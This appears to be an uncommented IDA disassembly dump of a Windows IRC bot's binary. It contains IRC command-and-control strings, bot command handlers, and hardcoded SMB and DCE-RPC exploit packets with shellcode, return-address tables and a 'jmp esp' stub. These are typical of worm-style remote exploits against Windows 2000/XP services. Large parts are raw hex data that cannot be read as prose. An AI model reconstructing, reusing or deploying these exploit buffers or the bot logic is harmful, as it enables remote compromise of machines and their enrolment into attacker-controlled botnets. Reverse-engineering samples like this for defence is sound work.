sub_40A9CF+135Fr align 10h dword_419A30 dd 1471A0h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) dword_419A3C dd 45444F4Dh, 732520h ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 8BD28h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 1277AE62h ; DATA XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 off_419A7C dd offset loc_410DB7+1 ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 2DCF8h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 4688368h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 123B8h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 4C2338h ; DATA XREF: sub_40A9CF+114Cr align 10h dword_419AB0 dd 54524150h, 732520h ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 1265A0h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 0C0AB0h ; DATA XREF: sub_40A9CF+10B0r align 10h dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... dword_419ADC dd 0A6CB0h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 5AF4DA8h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 8085E8h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 4CD168h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 0CEF58D2Ch ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 2DB260E0h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 90BBA32Ch ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 48489E0h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 1246E8h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 0DFBD949h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 off_419BA4 dd offset loc_40E3E0 ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 293E0h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 0E426671h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 0E04A6C27h ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 2BBDB0A9h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 86670h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 23C76670h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 4CBE670h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 2577B5A0h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 4C38h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 123F0AA8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 289D4860h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 28A446E8h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 5E9DD92Bh ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 5E9E29C3h ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 489DAC36h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 29A560E1h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 9A060h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 69F334E0h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 14EFBCE0h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 0A7768h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 0B4768h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 43B8h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 0ACh, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh ; DATA XREF: sub_40A9CF+790o dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0) dword_419DB0 dd 3115E88h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 0B12C0878h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 0EE5AD128h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) aALSsSCJEKi db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o align 4 dd 0 dword_419DFC dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: sub_40A9CF+437o dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h dd 0A087E5A6h, 2 dup(0) dword_419E48 dd 24648h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 29A012A1h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 29A0C6E9h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 0FDD9520h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 25219520h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 407D28h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 47B91A8h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) dword_419F04 dd 4B43494Eh, 732520h ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 132330h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 3677C869h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree_0 db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o dword_41A03C dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_40D53F:loc_40D629o dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dd 2 dup(4A9D5E21h), 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset dword_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_410649+59o ; sub_410B52+Fo dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_410649+Fo dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_410649+181o dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: sub_410649+1ADo dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: sub_410649+475o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_41A894: ; DATA XREF: sub_410649+153o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_41A8A0: ; DATA XREF: sub_410649+E5o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41A8AC: ; DATA XREF: sub_410649+202o jmp short loc_41A8BE ; --------------------------------------------------------------------------- jmp short loc_41A8C9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_41A8B4: ; DATA XREF: sub_410649+2DBo jmp short near ptr word_41A8BA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_41A8BA dw 0 ; CODE XREF: MEW:loc_41A8B4j ; --------------------------------------------------------------------------- loc_41A8BC: ; DATA XREF: sub_410649+330o jmp short near ptr word_41A8C2 ; --------------------------------------------------------------------------- loc_41A8BE: ; CODE XREF: MEW:loc_41A8ACj ; MEW:loc_41A8DCj jmp short loc_41A8C4 ; --------------------------------------------------------------------------- db 2 dup(0) word_41A8C2 dw 0 ; CODE XREF: MEW:loc_41A8BCj ; --------------------------------------------------------------------------- loc_41A8C4: ; CODE XREF: MEW:loc_41A8BEj ; DATA XREF: sub_410649+385o jmp short near ptr loc_41A8C9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_41A8C9: ; CODE XREF: MEW:0041A8AEj ; MEW:loc_41A8C4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; DATA XREF: sub_410649+25Ao ; --------------------------------------------------------------------------- loc_41A8DC: ; DATA XREF: sub_410649+286o jmp short loc_41A8BE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41A8E0: ; DATA XREF: sub_410649+22Eo lahf jnz short loc_41A8FB loc_41A8E3: ; DATA XREF: sub_410649+13Do add [ecx+1Ch], bl loc_41A8E6: ; CODE XREF: MEW:loc_41A8F0j add [ecx], al loc_41A8E8: ; DATA XREF: sub_410649+111o or ecx, [ebx] sbb eax, [eax] loc_41A8EC: ; DATA XREF: sub_410649+127o jmp short near ptr dword_41A8F4 ; --------------------------------------------------------------------------- align 10h loc_41A8F0: ; DATA XREF: sub_410649+FBo jmp short loc_41A8E6 ; --------------------------------------------------------------------------- align 4 dword_41A8F4 dd 85000000h ; CODE XREF: MEW:loc_41A8ECj ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_41A8FB: ; CODE XREF: MEW:0041A8E1j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- sub sp, 71Ch jmp esp ; --------------------------------------------------------------------------- align 4 dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dd 34EEA51Bh, 0 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 